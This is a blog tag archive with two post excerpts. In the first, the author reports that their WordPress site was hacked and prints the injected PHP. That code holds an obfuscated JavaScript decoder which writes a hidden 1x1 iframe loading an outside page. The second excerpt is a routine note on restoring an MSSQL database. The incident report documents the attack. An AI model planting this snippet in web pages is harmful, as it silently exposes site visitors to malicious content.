Tag Archives: SQL

Hacked !

This blog got hacked yesterday.

It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress.
It was not just like the classic SQL injection that is usually used to post some malicious post.

The following code was added :

<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

Continue reading

Restoring a MSSQL 2000/2005 database while in production

At my work, I had to overwrite a MSSQL database while in production. The goal was to replace the existing database by one with a new structure.

I tried first the easy way, right clicking on it and trying to take it off line using the menu of Microsoft.

Unfortunately, that didn’t do anything, complaining that several users were accessing it. Of course, trying to restore it directly gave the same message.

I couldn’t find a way to successfully force it through the interface.
Continue reading